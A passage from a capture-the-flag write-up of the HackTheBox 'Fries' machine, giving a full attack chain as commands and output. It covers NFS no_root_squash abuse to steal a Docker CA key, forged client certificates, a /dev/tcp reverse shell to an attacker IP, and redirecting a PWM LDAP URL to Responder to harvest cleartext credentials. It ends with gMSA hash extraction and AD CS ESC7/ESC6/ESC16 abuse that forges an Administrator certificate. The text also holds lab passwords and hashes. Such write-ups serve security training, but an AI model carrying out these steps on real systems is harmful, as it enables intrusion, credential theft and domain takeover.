| server-openssl.cnf |   0 | 59605603 | 0x52d580 |  205 |
| .                  |   0 | 59605603 | 0x52d580 | 4096 |
+--------------------+-----+----------+----------+------+

CA certs are absolutely interesting. Attempting to download directly:

Bash
sudo nfsclient 192.168.100.2:/srv/web.fries.htb root:0:59605603 down ./certs/ca.pem   

Returns "bad file descriptor" — a known limitation in nfsclient when reading certain exports.

Web Container Real Path

Over on the web container (192.168.100.2), the actual underlying path is:

svc@web:~$ ll /srv/web.fries.htb/
total 20
drw-r-xr-x 5  655 root           4096 May 28 17:17 ./
drwxr-xr-x 3 root root           4096 May 27 18:11 ../
drwxrwx--- 2 root infra managers 4096 May 26 18:13 certs/
drwxrwxrwx 2 root root           4096 May 31 11:11 shared/
drwxr----- 5 svc  svc            4096 Jun  7 13:30 webroot/
  • certs/ → belongs to group infra managers (GID 59605603)
  • svc is unprivileged: uid=1000(svc) gid=1000(svc)

Clear privilege escalation vector: own a member of infra managers, or exploit the trust in NFS from remote.

Nfs-security-tooling

To circumvent nfsclient's limitations, we swap to nfs-security-tooling:

Bash
pipx install git+https://github.com/hvs-consulting/nfs-security-tooling.git

Run an export check and filehandle analysis with the nfs_analyze module:

Bash
# root priv required to run tool on attacker side (for arch linux)
su root

nfs_analyze 192.168.100.2 --check-no-root-squash

No root squash, as we already knew:

Checking no_root_squash
Export              no_root_squash
/srv/web.fries.htb  DISABLED

Then the magic happens — nfs_analyze crawls outside the export and grabs the root filesystem handle:

htb_fries_19

nfs_analyze broke OUT of the export, climbed up to the filesystem root (/), reading /etc/shadow as root:

root:$y$j9T$yqbmFwMbHh7qoaRaY3jx..$FMFv9upB20J4yPWwAJxndkOA4zzrn5/Udv4BF9LbLq/:20239:0:99999:7:::
svc:$y$j9T$Y7j3MSqEJTcNTqSSVJRS2.$h0AFlCXKB9V0PZ.BIyZKSGR6WFJWlxIRiqK.JLOB4PD:20238:0:99999:7:::

That $y$ prefix is yescrypt — but tough to crack, not worth bruteforcing.

Root Filesystem Abuse

nfs_analyze provides the file handle:

0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000

In Linux, it's the universal pass to the filesystem when we have access permissions.

Next we can use the nfs_fuse module to mount NFSv3 export of the remote system using that handle.

Prepare a local mount point:

Bash
mkdir -p /tmp/m

Then mount using fuse_nfs with the filehandle mode:

Bash
fuse_nfs /tmp/m 192.168.100.2 \
    --fake-uid \
    --allow-write \
    --manual-fh 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000
  • -fake-uid: Pretend we are UID 0 on the server, when root squash is off.
  • -allow-write: Remount filesystem as read-write from userland.
  • -manual-fh: manually supply the root NFS filehandle we discovered.

After mount succeeds, we can walk the whole remote FS like it's local:

htb_fries_20

Now we can clone the certs from the mounted root filesystem:

Bash
# Make a loot directory
mkdir -p ./loot/certs

# Copy all certs/keys out
cp -r /tmp/m/srv/web.fries.htb/certs/* ./loot/certs/

# for convenience
chmod 777 ./loot/certs/*

Result:

$ ll loot/certs
total 24K
-rwxrwxrwx 1 root root 1.7K Nov 23 18:58 ca-key.pem
-rwxrwxrwx 1 root root 1.1K Nov 23 18:58 ca.pem
-rwxrwxrwx 1 root root 1.1K Nov 23 18:58 server-cert.pem
-rwxrwxrwx 1 root root  940 Nov 23 18:58 server.csr
-rwxrwxrwx 1 root root 1.7K Nov 23 18:58 server-key.pem
-rwxrwxrwx 1 root root  205 Nov 23 18:58 server-openssl.cnf

That's the full TLS/CA material:

  • ca.pemCA certificate (public)
  • ca-key.pemCA private key (the real crown)
  • server-cert.pem – leaf cert for some service (e.g. web.fries.htb)
  • server-key.pem – private key for that leaf cert
  • server-openssl.cnf – OpenSSL config used to generate the above
  • server.csr – certificate signing request

Docker Authz

Docker Access

Running LinPEAS on the web container as svc reveals:

htb_fries_22

The wildcard here is snap-confine, Snap's sandbox wrapper — packed with capabilities, but not SUID-root, so unless the Snap version is vulnerable, it's a red herring.

More importantly: this box runs Docker.

svc@web:~$ ll /usr/lib/snapd/snap-confine
-rwxr-xr-x 1 root root 150824 Sep 18 08:00 /usr/lib/snapd/snap-confine*

svc@web:~$ ll $(which docker)
-rwxr-xr-x 1 root root 30915736 Sep 10 14:50 /usr/bin/docker*

svc@web:~$ ll /$(which dockerd)
-rwxr-xr-x 1 root root 74909824 Sep 10 14:50 /usr/bin/dockerd*

And LinPEAS drops this gift:

htb_fries_21

Breakdown of the dockerd startup flags:

Bash
/usr/bin/dockerd \
  	-H fd:// --containerd=/run/containerd/containerd.sock \
  	--authorization-plugin=authz-broker \
  	--tlsverify --tlscacert=/etc/docker/certs/ca.pem \
  	--tlscert=/etc/docker/certs/server-cert.pem \
  	--tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376
  • Docker daemon is running as root.
  • It listens only on 127.0.0.1:2376 (TCP) with TLS.
  • It uses --authorization-plugin=authz-broker → Docker API permissions depend on user identity (from client cert CN).
  • It uses:
    • --tlscacert=/etc/docker/certs/ca.pem
    • --tlscert=/etc/docker/certs/server-cert.pem
    • --tlskey=/etc/docker/certs/server-key.pem

This gives us the nuclear key: We own the CA — We can forge any client identity and escalate through Docker's AuthZ layer.

Docker AuthZ 101

Docker by default is "whoever connects, rules." Once you're on the socket or the API port, you're root.

To restrict that, Docker supports authorization plugins:

  • AuthN: client cert (TLS)
  • AuthZ: plugin intercepts the request, checks the cert CN → enforces policy

If Docker is started with:

Bash
dockerd --authorization-plugin=authz-broker ...

Every API call (e.g., docker run, cp, exec) is sent to the plugin for a verdict.

Authz-broker

Docker here uses authz-broker — Twistlock's open-source reference plugin.

Behavior:

  • AuthN: via TLS → identity = CN from client certificate
  • AuthZ: policy-driven → plugin reads policy.json mapping CNs to permissions

Found default policy file (/var/lib/authz-broker/policy.json) on the web container:

JSON
{"name":"policy_1", "users": ["svc"], "actions": ["container_list", "container_logs"]}
{"name":"policy_1", "users": ["sysadm"], "actions": ["container"], "readonly":true}
{"name":"policy_2", "users": ["root"], "actions": [""]}
  • svc → only container_list and container_logs allowed.
  • sysadm → broader "container" actions (read-only but enough for docker cp).
  • root → full control.

Our current identity (svc) is sandboxed. To pivot — we forge certs with CN = sysadm or root.

Cert Forgery

Docker authenticates clients via certs signed by ca.pem. We have:

  • ca.pemtrusted CA
  • ca-key.pemprivate key of that CA

Inspect the legit server cert:

$ cd ./loot/certs

$ openssl x509 -in server-cert.pem -noout -text | grep -E 'Subject:|Issuer:'
        Issuer: CN=DockerCA
        Subject: CN=fries

It is a server cert (CN=fries) for the Docker host, and it chains to DockerCA.

We can use the CA keys from the NFS share to impersonate sysadm:

Bash
# 1) Generate key + CSR for sysadm
openssl req -new -newkey rsa:2048 -nodes \
      -keyout sysadm-key.pem \
      -out sysadm.csr \
      -subj "/CN=sysadm"

# 2) Sign it with the stolen CA
openssl x509 -req \
      -in sysadm.csr \
      -CA ca.pem -CAkey ca-key.pem -CAcreateserial \
      -out sysadm-cert.pem \
      -days 365 -sha256

Now we have a valid client cert for sysadm, accepted by the Docker daemon:

htb_fries_23

Use the forged certs to talk to Docker:

Bash
# @attacker: upload sysadmincerts to the web container
scp ca.pem sysadm-cert.pem sysadm-key.pem [email protected]:/tmp
(Friesf00Ds2025!!)

# @victim: interact with Docker over TLS
docker --tlsverify \
      --tlscacert=/tmp/ca.pem \
      --tlscert=/tmp/sysadm-cert.pem \
      --tlskey=/tmp/sysadm-key.pem \
      -H tcp://127.0.0.1:2376 \
      ps

We're in — full Docker control on host:

htb_fries_24

One of the containers is hosting PWM, our target AD-linked service. Time to extract volumes, copy sensitive files, or exec within.

Note: Using sysadm grants partial access (e.g., docker cp, logs, inspect). Forge as root for full control — same method, different CN.

Contianers Root

Optionally, before we pivot deeper into the PWM container to exploit the Windows DC, we escalate — straight to root to any Docker containers, e.g., inside the web container / Linux host (reachable locally via 127.0.0.1).

We mint a root-level Docker client cert using the previously stolen CA:

Bash
# 1) Generate key + CSR for root
openssl req -new -newkey rsa:2048 -nodes \
      -keyout root-key.pem \
      -out root.csr \
      -subj "/CN=root"

# 2) Sign it with the stolen CA
openssl x509 -req \
      -in root.csr \
      -CA ca.pem -CAkey ca-key.pem -CAcreateserial \
      -out root-cert.pem \
      -days 365 -sha256
      
# 3) upload root certs
scp ca.pem root-cert.pem root-key.pem [email protected]:/tmp
(Friesf00Ds2025!!)

On the victim (web container), we define a wrapper function for authenticated Docker commands:

Bash
dkroot() {
  docker --tlsverify \
    --tlscacert=/tmp/ca.pem \
    --tlscert=/tmp/root-cert.pem \
    --tlskey=/tmp/root-key.pem \
    -H tcp://127.0.0.1:2376 \
    "$@"
}

This allows us to cleanly reuse authenticated Docker commands — all as root, fully authorized.

Then grab the ID of the running web container at localhost:

Bash
WEB_CID=$(dkroot ps --filter "name=^web$" --format '{{.ID}}' | head -n 1)
htb_fries_37

Set up a listener on the attack box — Then execute a reverse shell into the web container (from the victim):

Bash
dkroot exec "$WEB_CID" /bin/bash -c 'bash -i >& /dev/tcp/10.10.8.12/60002 0>&1'

Rooted:

htb_fries_38jpg

Inside the container, environment variables reveal additional intel:

root@bfe752a26695:/app# env
HOSTNAME=bfe752a26695
PYTHON_VERSION=3.11.2
PWD=/app
PYTHON_SETUPTOOLS_VERSION=65.5.1
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
SHLVL=2
PYTHON_PIP_VERSION=22.3.1
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env

This is a hardened Python-based container, but still mounted under Docker's host namespace. We now have options:

  • Escape the container (mount host root via privileged Docker ops)
  • Write to the host filesystem via:
    • this container's mount
    • or the NFS primitive from earlier

Either way, we're positioned to compromise the Linux host, or anyone of those Docker containers — but not necessary for futher privesc to Windows DC, when we have full control over the PWM container.

ROOT

PWM

PWM 101

PWM (Password Manager) is a self-service portal deployed in front of LDAP/Active Directory environments. It facilitates:

  • Password resets and unlocks
  • Account policy enforcement
  • Integration with AD via a bind account, typically something like [email protected]

Implications:

  • PWM stores credentials for a privileged LDAP service account
  • It contains a web-based admin interface ("Configuration Manager")
  • All sensitive configuration is stored locally — typically under /config within the container

Key config artifacts:

  • PwmConfiguration.xml
  • Additional local DB state under /config/LocalDB

Exfiltrating this directory = full insight into AD credentials, password policies, and PWM's internal control plane.

PWM Config Exfil

Use the previously defined dkroot() function to extract the container ID for PWM:

Bash
PWM_CID=$(dkroot ps --filter "name=^pwm$" --format '{{.ID}}' | head -n 1)

Copy the full configuration directory out of the container:

Bash
dkroot cp $PWM_CID:/config /tmp/pwm_config

Structure on victim:

svc@web:/tmp$ ls -lR /tmp/pwm_config/
/tmp/pwm_config/:
total 152
-rw-r--r-- 1 svc svc    149 Nov 23 20:49 applicationPath.lock
drwxr-xr-x 2 svc svc   4096 Nov 12 01:37 backup
drwxr-xr-x 3 svc svc   4096 Jun  1 02:03 LocalDB
drwxr-xr-x 2 svc svc   4096 Nov 23 20:48 logs
-rw-r--r-- 1 svc svc 134122 Nov 12 01:38 PwmConfiguration.xml
drwxr-xr-x 2 svc svc   4096 Jun  1 02:03 temp

/tmp/pwm_config/backup:
total 132
-rw-r--r-- 1 svc svc 134122 Nov 12 01:37 PwmConfiguration.xml-backup

...

Total control. Pull it back to the attacker machine. Notice the backup configuration file: PwmConfiguration.xml-backup — this is the file that holds admin password hashes, LDAP bind info, and endpoint configuration:

htb_fries_25
  • $2y$bcrypt
  • 04 → cost factor (quite low, so cracking is cheap)

Dump the hash into a local file and unleash john:

Bash
cat > ph.txt << 'EOF'
$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG
EOF

john --format=bcrypt \
      --wordlist=~/wordlists/rockyou.txt \
      ph.txt

rockon! — password cracked.

Now log in to the PWM Configuration Manager at https://fries.htb/pwm/private/config/login. With the cracked password — full access:

htb_fries_26

LDAP Poisoning

We inspect PWM's configured LDAP permissions — especially for write access:

htb_fries_27

This line is devastating:

[User Password] – write

Implications:

  • PWM authenticates to LDAP using a privileged service account (svc_infra)
  • The password is submitted in plaintext every time
  • PWM cannot cache or hash the LDAP bind password — it must reuse the same creds repeatedly
  • LDAP "Proxy User" = bind identity → [email protected]

So if we can intercept LDAP requests, PWM will send the credentials to us.

In the PWM Configuration Editor, search for "LDAP URL" and change it to our attacker box:

ldap://10.10.8.12:389
htb_fries_28

Fire up Responder to intercept LDAP bind requests:

Bash
sudo responder -I tun0

Trigger a connection by testing the new LDAP profile. PWM binds to our listener — and spills creds:

htb_fries_29

Output:

[LDAP] Cleartext Username : CN=svc_infra,CN=Users,DC=fries,DC=htb
[LDAP] Cleartext Password : m6tneOMAh5p0wQ0d

Confirm creds with NetExec:

$ nxc ldap fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d'
LDAP        10.129.122.189  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never)
LDAP        10.129.122.189  389    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d

$ nxc smb fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d'
SMB         10.129.122.189  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.122.189  445    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d

$ nxc winrm fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d'
WINRM       10.129.122.189  5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb)
WINRM       10.129.122.189  5985   DC01             [-] fries.htb\svc_infra:m6tneOMAh5p0wQ0d

Except no WinRM access yet.

BloodHound

We now own domain credentials with LDAP bind permissions.

Time to map AD using BloodHound:

Bash
bloodhound-python \
        -dc 'dc01.fries.htb' -d 'fries.htb' \
    		-u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' \
    		-ns $targetIp --zip -c All 

The escalation path is straight forward:

htb_fries_30

ReadGMSAPassword → GMSA_CA_PROD$ → REMOTE MANAGEMENT USER.

ReadGMSAPassword

Exploit GMSA password retrieval with NetExec:

$ nxc ldap fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' --gmsa
LDAP        10.129.122.189  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never)
LDAP        10.129.122.189  389    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d
LDAP        10.129.122.189  389    DC01             [*] Getting GMSA Passwords
LDAP        10.129.122.189  389    DC01             Account: gMSA_CA_prod$        NTLM: fc20b3d3ec179c5339ca59fbefc18f4a     PrincipalsAllowedToReadPassword: svc_infra

Extracted NTLM hash — no cracking needed.

WinRM

Target domain does not restrict NTLM auth over WinRM.

Bash
evil-winrm -i FRIES.HTB -u 'gMSA_CA_prod$' -H fc20b3d3ec179c5339ca59fbefc18f4a 

And it works — this gMSA is a member of Remote Management Users, although this is an unusual case for a service account:

htb_fries_31

Access granted to DC01 — which resolves to 192.168.100.1 internally.

AD CS

Once inside, pivot to group analysis:

PS C:\Users\gMSA_CA_prod$> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                          Attributes
=========================================== ================ ============================================ ==================================================
FRIES\Domain Computers                      Group            S-1-5-21-858338346-3861030516-3975240472-515 Mandatory group, Enabled by default, Enabled group
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

Key membership flags:

  • The victim gMSA is expected to be a Domain Computers object. Machine accounts can often:
    • Request Kerberos tickets
    • Perform LDAP binds
    • Authenticate for certain machine-level permissions
  • Certificate Service DCOM Access is a golden flag. This means the account has permission to:
    • Access the ADCS DCOM interface
    • Which is required for ESC7, ESC6, and sometimes ESC1/ESC2 depending on templates

This account is primed to:

  • Request certificates
  • Access the ADCS DCOM endpoint
  • Potentially enroll as other users or machines

Certipy

To enumerate Active Directory Certificate Services (AD CS) with certipy, we first grab a Kerberos TGT:

Bash
./ft.sh fries.htb \
getTGT.py 'fries.htb/gMSA_CA_prod$' \
      -hashes :fc20b3d3ec179c5339ca59fbefc18f4a \
      -dc-ip $targetIp
      
export KRB5CCNAME=gMSA_CA_prod\$.ccache

Error Countermeasure: KRB_AP_ERR_SKEW

Kerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using faketime — as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.

With our TGT, we pivot to certificate enumeration:

Bash
./ft.sh fries.htb \
certipy find \
        -u 'gMSA_CA_prod$' -k -no-pass \
        -target dc01.fries.htb -dc-ip $targetIp \
        -enabled -vulnerable

Certipy output:

JSON
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "fries-DC01-CA",
      "DNS Name": "DC01.fries.htb",
      "Certificate Subject": "CN=fries-DC01-CA, DC=fries, DC=htb",
      "Certificate Serial Number": "26117C1FFA5705AF443B7E82E8C639A9",
      "Certificate Validity Start": "2025-11-18 05:39:18+00:00",
      "Certificate Validity End": "3024-05-19 14:11:46+00:00",
      "Web Enrollment": {
        "http": {
          "enabled": false
        },
        "https": {
          "enabled": false,
          "channel_binding": null
        }
      },
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
      "Permissions": {
        "Owner": "FRIES.HTB\\Administrators",
        "Access Rights": {
          "1": [
            "FRIES.HTB\\gMSA_CA_prod",
            "FRIES.HTB\\Domain Admins",
            "FRIES.HTB\\Enterprise Admins",
            "FRIES.HTB\\Administrators"
          ],
          "512": [
            "FRIES.HTB\\gMSA_CA_prod",
            "FRIES.HTB\\Domain Users",
            "FRIES.HTB\\Domain Computers",
            "FRIES.HTB\\Authenticated Users"
          ],
          "2": [
            "FRIES.HTB\\Domain Admins",
            "FRIES.HTB\\Enterprise Admins",
            "FRIES.HTB\\Administrators"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "FRIES.HTB\\Authenticated Users",
        "FRIES.HTB\\Domain Computers",
        "FRIES.HTB\\Domain Users",
        "FRIES.HTB\\gMSA_CA_prod"
      ],
      "[+] User ACL Principals": [
        "FRIES.HTB\\gMSA_CA_prod"
      ],
      "[!] Vulnerabilities": {
        "ESC7": "User has dangerous permissions."
      }
    }
  },
  "Certificate Templates": "[!] Could not find any certificate templates"
}

ESC Chains

ESC7

Let's break the core:

The "Access Rights" numbers are CA access masks:

  • 1ManageCA — full CA control (edit flags, cert policy, registry keys…)
  • 2 → Manage Certificates
  • 512Enroll — permission to request certificates

Also note:

  • SAN: Disabled ("User Specified SAN": "Disabled")
  • Templates: None found ("[!] Could not find any certificate templates")

We cannot currently enroll to a template, but we control the CA — which means we can enable SAN injection or create malicious templates.

ESC6

With powerful ESC7 primitive, it's trivial to pivot towards other ESCs.

SAN

From the JSON output, we notice that SAN is disabled — a SAN (Subject Alternative Name) is a field inside an X.509 certificate that tells the world:

"I am also known as X."

Normally, we use SANs for things like:

  • DNS names (DNS:web.fries.htb)
  • IPs (IP:192.168.100.1)
  • UPN identities (UPN:[email protected])

When abusing AD CS, we usually manipulate UPN SANs. Because Windows trusts the UPN inside a certificate to map a certificate to an AD account during PKINIT (Kerberos certificate logon) — that's the concept similar to Linux "namespace" we used to mention a lot in previous writeups.

So if we can forge:

UPN = [email protected]

…then that certificate represents Administrator during authentication — IF Windows accepts it.

In our case, SAN is disabled. But with an ESC7 primitive, we can first pivot to ESC6 for example, which CA is configured to honor SANs provided in the request attributes (EDITF_ATTRIBUTESUBJECTALTNAME2) — if we can manipulate this flag with a desired value, we can request a cert for any UPN / DNS name, e.g. [email protected].

Registry Flag

Certificate Authorities (CAs) normally decide whether users are allowed to supply SANs.

Microsoft uses a registry flag:

EDITF_ATTRIBUTESUBJECTALTNAME2

When this flag is enabled, the CA allows requesters to specify SANs inside a Request Attributes field:

certreq -submit -attrib "san:[email protected]"

This is normally blocked unless the template explicitly says:

"Enrollee supplies subject"

But with ESC6, CA-wide override says:

"Hell yeah, I'll take any SAN you ask for."

This is a dangerous misconfiguration because: Any user who has enrollment rights on any template can request a certificate that claims to be ANY identity in the domain.

Before mid-2022:

  • Windows DCs mapped certificate → identity using SAN's UPN
  • If SAN said administrator, we authenticated as administrator

Therefore ESC6 = INSTANT WIN.

SID Security Extension

After 2022, Microsoft added a protection: SID Security Extension (szOID_NTDS_CA_SECURITY_EXT)

This extension stores:

  • The real SID of the requester (the authentic SID)
  • Cryptographically protected by the CA

KDC rule (after patch):

If a certificate contains the SID Security Extension, KDC will ignore any SAN UPN or SAN SID. The requester's real SID always wins.

This happens a lot during previous writeups, which breaks the old ESC6 attack.

For example, if we're S-1-5-21-...-1106 and we attempt to request:

UPN = [email protected]
SID = S-1-5-21-...-500

The certificate still contains:

Security Extension SID: S-1-5-21-...-1106

So the KDC says:

"You look like you want to be Administrator, but your certificate says you REALLY are SID 1106. Get out."

So to leverage ESC6, we need more attack vectors.

ESC16

To bypass SID security extension, we need it gone.

A SID URL looks like:

URL=tag:microsoft.com,2022-09-14:sid:S-1-5-21-...-500

When SID security extension is missing: Windows uses the attacker-provided SID from the SAN URL.

Two paths:

  • ESC9: Template disables SID extension (CT_FLAG_NO_SECURITY_EXTENSION)
  • ESC16: CA globally disables SID extension ("Security extension disabled at CA level")

As CA admins (via ESC7), we can flip ESC16 with:

HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy

Set the DisableExtensionList to include:

2.5.29.17

Which disables:

  • 2.5.29.17 → SAN (Subject Alternative Name)
  • 1.3.6.1.4.1.311.25.2szOID_NTDS_CA_SECURITY_EXT

Now, no SID extension will be embedded — and Windows will fall back to SAN entirely.

Final

Obviously, it's much easier to leverage ESC16 as the alternative since we own the super CA level priv via the ESC7 primitive.

So the chain summary:

ESC7 → Enable ESC6 (SAN override)
     → Disable SID extension (ESC16)
     → Inject UPN + SID via SAN
     → Cert valid for Administrator

Exploit

ESC7 | SAN Enable

With ESC7, we wield full ManageCA rights. We abuse it by toggling the EDITF_ATTRIBUTESUBJECTALTNAME2 flag, which authorizes clients to specify Subject Alternative Names (SANs). That sets up the ESC6 condition.

From the gMSA_CA_prod$ interactive shell:

PowerShell
# editFlag.ps1

# 1. Instantiate the CA Admin COM object
$CA = New-Object -ComObject CertificateAuthority.Admin

# 2. Point it at the CA config string
$Config = "DC01.fries.htb\fries-DC01-CA"

# 3. (Optional) Read current EditFlags (just to see)
$current = $CA.GetConfigEntry( `
    $Config, `
    "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", `
    "EditFlags" `
); $current
# confirm: 1114446

# 4. Add EDITF_ATTRIBUTESUBJECTALTNAME2 flag (262144/ 0x00040000 / 0b01000000000000000000) 
$new = $current -bor 0x00040000; $new
# confirm: 1376590 

# 5. Apply modification with CA level priv
$CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags", $new) 

# 6. Restart CA service 
Restart-Service certsvc -Force

# Verify
Write-Host "[+] Done. Verifying on new flag value:"
certutil -config "DC01.fries.htb\fries-DC01-CA" -getreg policy\EditFlags

Confirm EDITF_ATTRIBUTESUBJECTALTNAME2 is set:

htb_fries_32

ESC16 | SID Disable

To exploit ESC6, we need to eliminate the SID Security Extension (ESC16). It normally acts as a failsafe, embedding the real requester's SID into every cert, which the KDC then validates.

We nuke it:

PowerShell
# killSid.ps1

# 1. Create an instance of the Certificate Services Admin COM object.
#    This object lets us read/modify CA configuration (policy, flags, registry-backed settings, etc).
$CA = New-Object -ComObject CertificateAuthority.Admin 

# 2. This is the CA "config string": "<CAHost>\<CAName>"
#    can see the same string in certsrv.msc or via `certutil -config - -ping`.
$Config = "DC01.fries.htb\fries-DC01-CA"

# 3. DisableExtensionList controls which certificate extensions the CA will NOT include
#    in issued certificates. We are telling the CA to OMIT the NTDS CA Security Extension:
#       OID 1.3.6.1.4.1.311.25.2  == szOID_NTDS_CA_SECURITY_EXT
#
#    That extension normally carries the real object SID of the requester.
#    Removing it (ESC16) forces Windows to fall back to ESC6
$CA.SetConfigEntry( 
    $Config, 
    "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", `
    "DisableExtensionList", 
    "1.3.6.1.4.1.311.25.2" 
)

# 4. Restart the CA service 
Restart-Service certsvc -Force

# Verify
Write-Host "[+] Done. Verifying on new reg value:"
certutil -config "DC01.fries.htb\fries-DC01-CA" -getreg policy\DisableExtensionList

Verify by retrieving the registry value:

htb_fries_33

Now the CA omits the SID security extension — the last line of defense. The battlefield is wide open.

ESC6 | SAN Forgery

As we already knew gMSA_CA_prod$ cannot enroll on any templates. But we can target the compromised svc_infra, who holds Domain Users membership — and that's all we need (or we can use the PWM LDAP privs to hijack accounts).

Use certipy find to verify enrollment access:

Bash
certipy find \
        -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' \
        -target dc01.fries.htb -dc-ip $targetIp \
        -enabled

See the User template:

JSON
"10": {
  "Template Name": "User",
  "Display Name": "User",
  "Certificate Authorities": [
    "fries-DC01-CA"
  ],
  "Enabled": true,
  "Client Authentication": true,
  ...
  "Permissions": {
    "Enrollment Permissions": {
      "Enrollment Rights": [
        "FRIES.HTB\\Domain Admins",
        "FRIES.HTB\\Domain Users",
        "FRIES.HTB\\Enterprise Admins"
      ]
    },
    "Object Control Permissions": {
      "Owner": "FRIES.HTB\\Enterprise Admins",
      "Full Control Principals": [
        "FRIES.HTB\\Domain Admins",
        "FRIES.HTB\\Enterprise Admins"
      ],
      "Write Owner Principals": [
        "FRIES.HTB\\Domain Admins",
        "FRIES.HTB\\Enterprise Admins"
      ],
      "Write Dacl Principals": [
        "FRIES.HTB\\Domain Admins",
        "FRIES.HTB\\Enterprise Admins"
      ],
      "Write Property Enroll": [
        "FRIES.HTB\\Domain Admins",
        "FRIES.HTB\\Domain Users",
        "FRIES.HTB\\Enterprise Admins"
      ]
    }
  },
  "[+] User Enrollable Principals": [
    "FRIES.HTB\\Domain Users"
  ],
  "[*] Remarks": {
    "ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.",
    "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1."
  }
}

We confirm the User template is enabled, and svc_infra has enrollment rights:

  • Domain Users allowed
  • Key usages include Client Authentication

Now weaponize it to exploit ESC6 by forcefully specifying the Administrator SID inline:

Bash
certipy req \
    -u '[email protected]' -p 'm6tneOMAh5p0wQ0d' \
    -dc-ip $targetIp -target dc01.fries.htb \
    -ca 'fries-DC01-CA' \
    -template 'User' \
    -upn '[email protected]' \
    -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
htb_fries_34

The cert now claims to be Administrator. Authenticate with the forged certificate:

Bash
./ft.sh fries.htb \
certipy auth -pfx administrator.pfx -dc-ip $targetIp
htb_fries_35

Domain Administrator confirmed. PTH logon with evil-winrm:

Bash
evil-winrm -i FRIES.HTB -u 'administrator' -H a773cb05d79273299a684a23ede56748
htb_fries_36

Rooted.